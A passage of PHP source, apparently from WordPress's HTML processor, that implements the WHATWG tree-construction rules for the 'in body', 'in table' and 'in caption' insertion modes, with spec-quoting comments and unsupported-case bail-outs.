				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "address", "article", "aside",
			 * > "blockquote", "center", "details", "dialog", "dir", "div", "dl",
			 * > "fieldset", "figcaption", "figure", "footer", "header", "hgroup",
			 * > "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
			 */
			case '+ADDRESS':
			case '+ARTICLE':
			case '+ASIDE':
			case '+BLOCKQUOTE':
			case '+CENTER':
			case '+DETAILS':
			case '+DIALOG':
			case '+DIR':
			case '+DIV':
			case '+DL':
			case '+FIELDSET':
			case '+FIGCAPTION':
			case '+FIGURE':
			case '+FOOTER':
			case '+HEADER':
			case '+HGROUP':
			case '+MAIN':
			case '+MENU':
			case '+NAV':
			case '+OL':
			case '+P':
			case '+SEARCH':
			case '+SECTION':
			case '+SUMMARY':
			case '+UL':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				if (
					in_array(
						$this->state->stack_of_open_elements->current_node()->node_name,
						array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ),
						true
					)
				) {
					// @todo Indicate a parse error once it's possible.
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "pre", "listing"
			 */
			case '+PRE':
			case '+LISTING':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token,
				 * > then ignore that token and move on to the next one. (Newlines
				 * > at the start of pre blocks are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 */
			case '+FORM':
				$stack_contains_template = $this->state->stack_of_open_elements->contains( 'TEMPLATE' );

				if ( isset( $this->state->form_element ) && ! $stack_contains_template ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				if ( ! $stack_contains_template ) {
					$this->state->form_element = $this->state->current_token;
				}

				return true;

			/*
			 * > A start tag whose tag name is "li"
			 * > A start tag whose tag name is one of: "dd", "dt"
			 */
			case '+DD':
			case '+DT':
			case '+LI':
				$this->state->frameset_ok = false;
				$node                     = $this->state->stack_of_open_elements->current_node();
				$is_li                    = 'LI' === $token_name;

				in_body_list_loop:
				/*
				 * The logic for LI and DT/DD is the same except for one point: LI elements _only_
				 * close other LI elements, but a DT or DD element closes _any_ open DT or DD element.
				 */
				if ( $is_li ? 'LI' === $node->node_name : ( 'DD' === $node->node_name || 'DT' === $node->node_name ) ) {
					$node_name = $is_li ? 'LI' : $node->node_name;
					$this->generate_implied_end_tags( $node_name );
					if ( ! $this->state->stack_of_open_elements->current_node_is( $node_name ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( $node_name );
					goto in_body_list_done;
				}

				if (
					'ADDRESS' !== $node->node_name &&
					'DIV' !== $node->node_name &&
					'P' !== $node->node_name &&
					self::is_special( $node )
				) {
					/*
					 * > If node is in the special category, but is not an address, div,
					 * > or p element, then jump to the step labeled done below.
					 */
					goto in_body_list_done;
				} else {
					/*
					 * > Otherwise, set node to the previous entry in the stack of open elements
					 * > and return to the step labeled loop.
					 */
					foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
						$node = $item;
						break;
					}
					goto in_body_list_loop;
				}

				in_body_list_done:
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '+PLAINTEXT':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * @todo This may need to be handled in the Tag Processor and turn into
				 *       a single self-contained tag like TEXTAREA, whose modifiable text
				 *       is the rest of the input document as plaintext.
				 */
				$this->bail( 'Cannot process PLAINTEXT elements.' );
				break;

			/*
			 * > A start tag whose tag name is "button"
			 */
			case '+BUTTON':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'BUTTON' ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					$this->generate_implied_end_tags();
					$this->state->stack_of_open_elements->pop_until( 'BUTTON' );
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				return true;

			/*
			 * > An end tag whose tag name is one of: "address", "article", "aside", "blockquote",
			 * > "button", "center", "details", "dialog", "dir", "div", "dl", "fieldset",
			 * > "figcaption", "figure", "footer", "header", "hgroup", "listing", "main",
			 * > "menu", "nav", "ol", "pre", "search", "section", "summary", "ul"
			 */
			case '-ADDRESS':
			case '-ARTICLE':
			case '-ASIDE':
			case '-BLOCKQUOTE':
			case '-BUTTON':
			case '-CENTER':
			case '-DETAILS':
			case '-DIALOG':
			case '-DIR':
			case '-DIV':
			case '-DL':
			case '-FIELDSET':
			case '-FIGCAPTION':
			case '-FIGURE':
			case '-FOOTER':
			case '-HEADER':
			case '-HGROUP':
			case '-LISTING':
			case '-MAIN':
			case '-MENU':
			case '-NAV':
			case '-OL':
			case '-PRE':
			case '-SEARCH':
			case '-SECTION':
			case '-SUMMARY':
			case '-UL':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// @todo Report parse error.
					// Ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}
				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is "form"
			 */
			case '-FORM':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					$node                      = $this->state->form_element;
					$this->state->form_element = null;

					/*
					 * > If node is null or if the stack of open elements does not have node
					 * > in scope, then this is a parse error; return and ignore the token.
					 *
					 * @todo It's necessary to check if the form token itself is in scope, not
					 *       simply whether any FORM is in scope.
					 */
					if (
						null === $node ||
						! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' )
					) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();
					if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
						$this->bail( 'Cannot close a FORM when other elements remain open as this would throw off the breadcrumbs for the following tokens.' );
					}

					$this->state->stack_of_open_elements->remove_node( $node );
					return true;
				} else {
					/*
					 * > If the stack of open elements does not have a form element in scope,
					 * > then this is a parse error; return and ignore the token.
					 *
					 * Note that unlike in the clause above, this is checking for any FORM in scope.
					 */
					if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' ) ) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();

					if ( ! $this->state->stack_of_open_elements->current_node_is( 'FORM' ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( 'FORM' );
					return true;
				}
				break;

			/*
			 * > An end tag whose tag name is "p"
			 */
			case '-P':
				if ( ! $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->insert_html_element( $this->state->current_token );
				}

				$this->close_a_p_element();
				return true;

			/*
			 * > An end tag whose tag name is "li"
			 * > An end tag whose tag name is one of: "dd", "dt"
			 */
			case '-DD':
			case '-DT':
			case '-LI':
				if (
					/*
					 * An end tag whose tag name is "li":
					 * If the stack of open elements does not have an li element in list item scope,
					 * then this is a parse error; ignore the token.
					 */
					(
						'LI' === $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_list_item_scope( 'LI' )
					) ||
					/*
					 * An end tag whose tag name is one of: "dd", "dt":
					 * If the stack of open elements does not have an element in scope that is an
					 * HTML element with the same tag name as that of the token, then this is a
					 * parse error; ignore the token.
					 */
					(
						'LI' !== $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_scope( $token_name )
					)
				) {
					/*
					 * This is a parse error, ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags( $token_name );

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '-H1':
			case '-H2':
			case '-H3':
			case '-H4':
			case '-H5':
			case '-H6':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( '(internal: H1 through H6 - do not use)' ) ) {
					/*
					 * This is a parse error; ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags();

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}

				$this->state->stack_of_open_elements->pop_until( '(internal: H1 through H6 - do not use)' );
				return true;

			/*
			 * > A start tag whose tag name is "a"
			 */
			case '+A':
				foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
					switch ( $item->node_name ) {
						case 'marker':
							break 2;

						case 'A':
							$this->run_adoption_agency_algorithm();
							$this->state->active_formatting_elements->remove_node( $item );
							$this->state->stack_of_open_elements->remove_node( $item );
							break 2;
					}
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "b", "big", "code", "em", "font", "i",
			 * > "s", "small", "strike", "strong", "tt", "u"
			 */
			case '+B':
			case '+BIG':
			case '+CODE':
			case '+EM':
			case '+FONT':
			case '+I':
			case '+S':
			case '+SMALL':
			case '+STRIKE':
			case '+STRONG':
			case '+TT':
			case '+U':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "nobr"
			 */
			case '+NOBR':
				$this->reconstruct_active_formatting_elements();

				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'NOBR' ) ) {
					// Parse error.
					$this->run_adoption_agency_algorithm();
					$this->reconstruct_active_formatting_elements();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
			 * > "nobr", "s", "small", "strike", "strong", "tt", "u"
			 */
			case '-A':
			case '-B':
			case '-BIG':
			case '-CODE':
			case '-EM':
			case '-FONT':
			case '-I':
			case '-NOBR':
			case '-S':
			case '-SMALL':
			case '-STRIKE':
			case '-STRONG':
			case '-TT':
			case '-U':
				$this->run_adoption_agency_algorithm();
				return true;

			/*
			 * > A start tag whose tag name is one of: "applet", "marquee", "object"
			 */
			case '+APPLET':
			case '+MARQUEE':
			case '+OBJECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A end tag token whose tag name is one of: "applet", "marquee", "object"
			 */
			case '-APPLET':
			case '-MARQUEE':
			case '-OBJECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// This is a parse error.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				return true;

			/*
			 * > A start tag whose tag name is "table"
			 */
			case '+TABLE':
				/*
				 * > If the Document is not set to quirks mode, and the stack of open elements
				 * > has a p element in button scope, then close a p element.
				 */
				if (
					WP_HTML_Tag_Processor::QUIRKS_MODE !== $this->compat_mode &&
					$this->state->stack_of_open_elements->has_p_in_button_scope()
				) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This is prevented from happening because the Tag Processor
			 * reports all closing BR tags as if they were opening tags.
			 */

			/*
			 * > A start tag whose tag name is one of: "area", "br", "embed", "img", "keygen", "wbr"
			 */
			case '+AREA':
			case '+BR':
			case '+EMBED':
			case '+IMG':
			case '+KEYGEN':
			case '+WBR':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "input"
			 */
			case '+INPUT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the token does not have an attribute with the name "type", or if it does,
				 * > but that attribute's value is not an ASCII case-insensitive match for the
				 * > string "hidden", then: set the frameset-ok flag to "not ok".
				 */
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					$this->state->frameset_ok = false;
				}

				return true;

			/*
			 * > A start tag whose tag name is one of: "param", "source", "track"
			 */
			case '+PARAM':
			case '+SOURCE':
			case '+TRACK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "hr"
			 */
			case '+HR':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "image"
			 */
			case '+IMAGE':
				/*
				 * > Parse error. Change the token's tag name to "img" and reprocess it. (Don't ask.)
				 *
				 * Note that this is handled elsewhere, so it should not be possible to reach this code.
				 */
				$this->bail( "Cannot process an IMAGE tag. (Don't ask.)" );
				break;

			/*
			 * > A start tag whose tag name is "textarea"
			 */
			case '+TEXTAREA':
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token, then ignore
				 * > that token and move on to the next one. (Newlines at the start of
				 * > textarea elements are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->state->frameset_ok = false;

				/*
				 * > Switch the insertion mode to "text".
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				return true;

			/*
			 * > A start tag whose tag name is "xmp"
			 */
			case '+XMP':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->reconstruct_active_formatting_elements();
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * A start tag whose tag name is "iframe"
			 */
			case '+IFRAME':
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noembed"
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOEMBED':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "select"
			 */
			case '+SELECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				switch ( $this->state->insertion_mode ) {
					/*
					 * > If the insertion mode is one of "in table", "in caption", "in table body", "in row",
					 * > or "in cell", then switch the insertion mode to "in select in table".
					 */
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
						break;

					/*
					 * > Otherwise, switch the insertion mode to "in select".
					 */
					default:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
						break;
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "optgroup", "option"
			 */
			case '+OPTGROUP':
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rb", "rtc"
			 */
			case '+RB':
			case '+RTC':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags();

					if ( $this->state->stack_of_open_elements->current_node_is( 'RUBY' ) ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rp", "rt"
			 */
			case '+RP':
			case '+RT':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags( 'RTC' );

					$current_node_name = $this->state->stack_of_open_elements->current_node()->node_name;
					if ( 'RTC' === $current_node_name || 'RUBY' === $current_node_name ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "math"
			 */
			case '+MATH':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust MathML attributes for the token. (This fixes the case of MathML attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'math';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is "svg"
			 */
			case '+SVG':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust SVG attributes for the token. (This fixes the case of SVG attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink in SVG.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'svg';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup",
			 * > "frame", "head", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+FRAME':
			case '+HEAD':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				// Parse error. Ignore the token.
				return $this->step();
		}

		if ( ! parent::is_tag_closer() ) {
			/*
			 * > Any other start tag
			 */
			$this->reconstruct_active_formatting_elements();
			$this->insert_html_element( $this->state->current_token );
			return true;
		} else {
			/*
			 * > Any other end tag
			 */

			/*
			 * Find the corresponding tag opener in the stack of open elements, if
			 * it exists before reaching a special element, which provides a kind
			 * of boundary in the stack. For example, a `</custom-tag>` should not
			 * close anything beyond its containing `P` or `DIV` element.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
				if ( 'html' === $node->namespace && $token_name === $node->node_name ) {
					break;
				}

				if ( self::is_special( $node ) ) {
					// This is a parse error, ignore the token.
					return $this->step();
				}
			}

			$this->generate_implied_end_tags( $token_name );
			if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
				// @todo Record parse error: this error doesn't impact parsing.
			}

			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->pop();
				if ( $node === $item ) {
					return true;
				}
			}
		}

		$this->bail( 'Should not have been able to reach end of IN BODY processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Parses next element in the 'in table' insertion mode.
	 *
	 * This internal function performs the 'in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token, if the current node is table,
			 * > tbody, template, tfoot, thead, or tr element
			 */
			case '#text':
				$current_node      = $this->state->stack_of_open_elements->current_node();
				$current_node_name = $current_node ? $current_node->node_name : null;
				if (
					$current_node_name && (
						'TABLE' === $current_node_name ||
						'TBODY' === $current_node_name ||
						'TEMPLATE' === $current_node_name ||
						'TFOOT' === $current_node_name ||
						'THEAD' === $current_node_name ||
						'TR' === $current_node_name
					)
				) {
					/*
					 * If the text is empty after processing HTML entities and stripping
					 * U+0000 NULL bytes then ignore the token.
					 */
					if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
						return $this->step();
					}

					/*
					 * This follows the rules for "in table text" insertion mode.
					 *
					 * Whitespace-only text nodes are inserted in-place. Otherwise
					 * foster parenting is enabled and the nodes would be
					 * inserted out-of-place.
					 *
					 * > If any of the tokens in the pending table character tokens
					 * > list are character tokens that are not ASCII whitespace,
					 * > then this is a parse error: reprocess the character tokens
					 * > in the pending table character tokens list using the rules
					 * > given in the "anything else" entry in the "in table"
					 * > insertion mode.
					 * >
					 * > Otherwise, insert the characters given by the pending table
					 * > character tokens list.
					 *
					 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
					 */
					if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
						$this->insert_html_element( $this->state->current_token );
						return true;
					}

					// Non-whitespace would trigger fostering, unsupported at this time.
					$this->bail( 'Foster parenting is not supported.' );
					break;
				}
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "caption"
			 */
			case '+CAPTION':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->state->active_formatting_elements->insert_marker();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
				return true;

			/*
			 * > A start tag whose tag name is "colgroup"
			 */
			case '+COLGROUP':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return true;

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->state->stack_of_open_elements->clear_to_table_context();

				/*
				 * > Insert an HTML element for a "colgroup" start tag token with no attributes,
				 * > then switch the insertion mode to "in column group".
				 */
				$this->insert_virtual_node( 'COLGROUP' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "td", "th", "tr"
			 */
			case '+TD':
			case '+TH':
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_context();
				/*
				 * > Insert an HTML element for a "tbody" start tag token with no attributes,
				 * > then switch the insertion mode to "in table body".
				 */
				$this->insert_virtual_node( 'TBODY' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "table"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is "table"
			 */
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "style", "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+STYLE':
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				/*
				 * > Process the token using the rules for the "in head" insertion mode.
				 */
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "input"
			 *
			 * > If the token does not have an attribute with the name "type", or if it does, but
			 * > that attribute's value is not an ASCII case-insensitive match for the string
			 * > "hidden", then: act as described in the "anything else" entry below.
			 */
			case '+INPUT':
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					goto anything_else;
				}
				// @todo Indicate a parse error once it's possible.
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+FORM':
				if (
					$this->state->stack_of_open_elements->has_element_in_scope( 'TEMPLATE' ) ||
					isset( $this->state->form_element )
				) {
					return $this->step();
				}

				// This FORM is special because it immediately closes and cannot have other children.
				$this->insert_html_element( $this->state->current_token );
				$this->state->form_element = $this->state->current_token;
				$this->state->stack_of_open_elements->pop();
				return true;
		}

		/*
		 * > Anything else
		 * > Parse error. Enable foster parenting, process the token using the rules for the
		 * > "in body" insertion mode, and then disable foster parenting.
		 *
		 * @todo Indicate a parse error once it's possible.
		 */
		anything_else:
		$this->bail( 'Foster parenting is not supported.' );
	}

	/**
	 * Parses next element in the 'in table text' insertion mode.
	 *
	 * This internal function performs the 'in table text' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_text(): bool {
		$this->bail( 'No support for parsing in the ' . WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT . ' state.' );
	}

	/**
	 * Parses next element in the 'in caption' insertion mode.
	 *
	 * This internal function performs the 'in caption' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_caption(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is "caption"
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 *
			 * These tag handling rules are identical except for the final instruction.
			 * Handle them in a single block.
			 */
			case '-CAPTION':
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'CAPTION' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'CAPTION' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'CAPTION' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
